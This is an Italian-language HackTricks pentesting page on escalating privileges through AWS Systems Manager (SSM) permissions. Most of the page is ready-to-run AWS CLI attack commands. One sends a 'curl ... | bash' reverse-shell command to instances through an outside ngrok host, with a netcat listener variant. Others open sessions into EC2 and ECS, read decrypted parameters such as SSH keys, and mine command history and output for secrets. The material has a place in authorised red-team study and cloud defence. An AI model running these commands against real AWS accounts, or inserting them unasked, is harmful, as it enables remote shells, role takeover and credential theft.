AWS - SSM Privesc

Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

SSM

Per ulteriori informazioni su SSM, controlla:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaccante con il permesso ssm:SendCommand può eseguire comandi nelle istanze in esecuzione sull'Agente Amazon SSM e compromettere il ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Nel caso in cui stai utilizzando questa tecnica per escalare i privilegi all'interno di un'istanza EC2 già compromessa, potresti semplicemente catturare la shell reversa localmente con:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 collegati alle istanze in esecuzione con agenti SSM in esecuzione.

ssm:StartSession

Un attaccante con il permesso ssm:StartSession può avviare una sessione simile a SSH nelle istanze in esecuzione con l'Agente Amazon SSM e compromettere il Ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Per avviare una sessione è necessario avere installato il SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impatto Potenziale: Escalation dei privilegi diretta ai ruoli IAM EC2 collegati alle istanze in esecuzione con agenti SSM attivi.

Escalation dei Privilegi su ECS

Quando le attività ECS vengono eseguite con ExecuteCommand abilitato, gli utenti con le autorizzazioni adeguate possono utilizzare ecs execute-command per eseguire un comando all'interno del container. Secondo la documentazione ciò avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando "exec" e il container di destinazione con SSM Session Manager. Pertanto, gli utenti con ssm:StartSession saranno in grado di ottenere una shell all'interno delle attività ECS con quell'opzione abilitata semplicemente eseguendo:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impatto Potenziale: Privesc diretto ai ruoli ECSIAM collegati ai task in esecuzione con ExecuteCommand abilitato.

ssm:ResumeSession

Un attaccante con il permesso ssm:ResumeSession può riavviare una sessione simile a SSH nelle istanze in esecuzione dell'Agente Amazon SSM con uno stato di sessione SSM disconnesso e compromettere il Ruolo IAM in esecuzione al suo interno.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impatto Potenziale: Privesc diretto ai ruoli IAM EC2 collegati alle istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaccante con le autorizzazioni menzionate sarà in grado di elencare i parametri SSM e leggerli in chiaro. In questi parametri è possibile trovare frequentemente informazioni sensibili come chiavi SSH o chiavi API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impatto Potenziale: Trovare informazioni sensibili all'interno dei parametri.

ssm:ListCommands

Un attaccante con questa autorizzazione può elencare tutti i comandi inviati e sperabilmente trovare informazioni sensibili su di essi.

aws ssm list-commands

Impatto Potenziale: Trovare informazioni sensibili all'interno delle righe di comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaccante con queste autorizzazioni può elencare tutti i comandi inviati e leggere l'output generato, sperabilmente trovando informazioni sensibili al loro interno.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impatto Potenziale: Trovare informazioni sensibili all'interno dell'output delle righe di comando.

Codebuild

È possibile utilizzare SSM anche per accedere a un progetto codebuild in fase di compilazione:

pageAWS - Codebuild Privesc
Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated